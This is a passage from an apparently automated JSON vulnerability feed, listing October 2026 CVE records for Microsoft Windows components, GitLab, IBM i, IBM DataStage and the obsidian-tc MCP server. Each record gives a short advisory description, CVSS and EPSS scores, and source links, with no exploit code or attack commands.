CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102210","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102210&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102210, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100222","cveId":"CVE-2026-100222","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:42.587Z","updatedAt":"2026-10-20T15:55:49.403Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100222","asOf":"2026-10-20T15:55:49.403Z"},"epss":{"probability":0.01061,"percentile":0.64344,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100222&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100222","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100222","type":"primary","publishedAt":"2026-10-13T19:17:42.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100222","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100222&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100222, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100219","cveId":"CVE-2026-100219","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft QUIC allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft QUIC allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft QUIC allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:42.163Z","updatedAt":"2026-10-20T15:59:30.353Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100219","asOf":"2026-10-20T15:59:30.353Z"},"epss":{"probability":0.01105,"percentile":0.65558,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100219&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100219","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100219","type":"primary","publishedAt":"2026-10-13T19:17:42.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100219","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100219&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100219, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100202","cveId":"CVE-2026-100202","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Message Queuing Queue Manager allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows Message Queuing Queue Manager allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows Message Queuing Queue Manager allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:40.143Z","updatedAt":"2026-10-20T16:10:33.183Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100202","asOf":"2026-10-20T16:10:33.183Z"},"epss":{"probability":0.01105,"percentile":0.65558,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100202","type":"primary","publishedAt":"2026-10-13T19:17:40.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100202","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97229","cveId":"CVE-2026-97229","aliases":[],"kind":"vulnerability","title":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could...","summary":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server via a specially crafted regular expression in a CI/CD configuration, due to insufficient regular expression validation.","detail":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server via a specially crafted regular expression in a CI/CD configuration, due to insufficient regular expression validation.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T02:17:00.840Z","updatedAt":"2026-10-14T13:55:26.987Z","regions":["Global"],"vendor":"gitlab","product":"gitlab","stacks":["GitLab","gitlab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97229","asOf":"2026-10-14T13:55:26.987Z"},"epss":{"probability":0.18427,"percentile":0.97215,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97229&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97229","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97229","type":"primary","publishedAt":"2026-10-13T02:17:00.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97229&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97229, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96119","cveId":"CVE-2026-96119","aliases":[],"kind":"vulnerability","title":"IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to obtain sensitive information or execute arbitrary code on the system due to improper data sanitization...","summary":"IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to obtain sensitive information or execute arbitrary code on the system due to improper data sanitization by the HTTP Server Administration web application.","detail":"IBM i 7.3, 7.4, 7.5, and 7.6 could allow a remote authenticated attacker to obtain sensitive information or execute arbitrary code on the system due to improper data sanitization by the HTTP Server Administration web application.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T00:17:02.053Z","updatedAt":"2026-10-14T23:48:20.053Z","regions":["Global"],"vendor":"ibm","product":"i","stacks":["IBM","i"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96119","asOf":"2026-10-14T23:48:20.053Z"},"epss":{"probability":0.00519,"percentile":0.43841,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96119&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96119","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96119","type":"primary","publishedAt":"2026-10-13T00:17:02.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7292159","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96119&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96119, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82110","cveId":"CVE-2026-82110","aliases":[],"kind":"vulnerability","title":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of pathname during a path traversal.","summary":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of pathname during a path traversal.","detail":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper validation of pathname during a path traversal.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:42.533Z","updatedAt":"2026-10-14T23:50:17.000Z","regions":["Global"],"vendor":"ibm","product":"datastage on cloud pak for data","stacks":["IBM","datastage on cloud pak for data"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82110","asOf":"2026-10-14T23:50:17.000Z"},"epss":{"probability":0.00515,"percentile":0.43593,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82110&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82110","type":"primary","publishedAt":"2026-10-12T23:17:42.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7288649","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82110&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82110, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82103","cveId":"CVE-2026-82103","aliases":[],"kind":"vulnerability","title":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an exposure of sensitive information to an...","summary":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an exposure of sensitive information to an unauthorized actor.","detail":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an exposure of sensitive information to an unauthorized actor.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:42.110Z","updatedAt":"2026-10-14T23:50:51.073Z","regions":["Global"],"vendor":"ibm","product":"datastage on cloud pak for data","stacks":["IBM","datastage on cloud pak for data"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82103","asOf":"2026-10-14T23:50:51.073Z"},"epss":{"probability":0.00307,"percentile":0.23324,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82103&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82103","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82103","type":"primary","publishedAt":"2026-10-12T23:17:42.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7288649","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82103&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82103, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82101","cveId":"CVE-2026-82101","aliases":[],"kind":"vulnerability","title":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to a path traversal vulnerability.","summary":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to a path traversal vulnerability.","detail":"IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to a path traversal vulnerability.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:41.897Z","updatedAt":"2026-10-14T23:51:06.323Z","regions":["Global"],"vendor":"ibm","product":"datastage on cloud pak for data","stacks":["IBM","datastage on cloud pak for data"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82101","asOf":"2026-10-14T23:51:06.323Z"},"epss":{"probability":0.00416,"percentile":0.35641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82101&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82101","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82101","type":"primary","publishedAt":"2026-10-12T23:17:41.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.ibm.com/support/pages/node/7288649","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82101&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82101, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77366","cveId":"CVE-2026-77366","aliases":["GHSA-84c9-qqpq-2pq5"],"kind":"vulnerability","title":"obsidian-tc tokens can access arbitrary configured vaults","summary":"obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, tool dispatch does not compare the caller-controlled input.vault value with the vault bound to the caller, the JSON Web Token (JWT) has no vault claim, and the folder access-control list is shared globally. Any valid token can therefore select another configured vault and read, write, or delete its contents through affected tools. Version 1.3.1 fixes the vulnerability by binding tokens and request context to a vault and rejecting mismatched input.vault values before scope checks.","detail":"obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, tool dispatch does not compare the caller-controlled input.vault value with the vault bound to the caller, the JSON Web Token (JWT) has no vault claim, and the folder access-control list is shared globally. Any valid token can therefore select another configured vault and read, write, or delete its contents through affected tools. Version 1.3.1 fixes the vulnerability by binding tokens and request context to a vault and rejecting mismatched input.vault values before scope checks.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T18:17:23.830Z","updatedAt":"2026-10-23T17:29:18.000Z","regions":["Global"],"vendor":null,"product":"obsidian-tc","stacks":["JavaScript packages (npm)","obsidian-tc","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-84c9-qqpq-2pq5","asOf":"2026-10-23T17:29:18.000Z"},"epss":{"probability":0.00309,"percentile":0.23452,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77366&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77366","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77366","type":"primary","publishedAt":"2026-10-12T18:17:23.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-84c9-qqpq-2pq5","url":"https://github.com/advisories/GHSA-84c9-qqpq-2pq5","type":"primary","publishedAt":"2026-10-23T17:29:17.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-84c9-qqpq-2pq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-84c9-qqpq-2pq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-84c9-qqpq-2pq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-84c9-qqpq-2pq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-84c9-qqpq-2pq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-84c9-qqpq-2pq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-84c9-qqpq-2pq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-84c9-qqpq-2pq5, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-84c9-qqpq-2pq5, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77366&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77366, scored 2026-10-25. This is a model estimate, not proof of 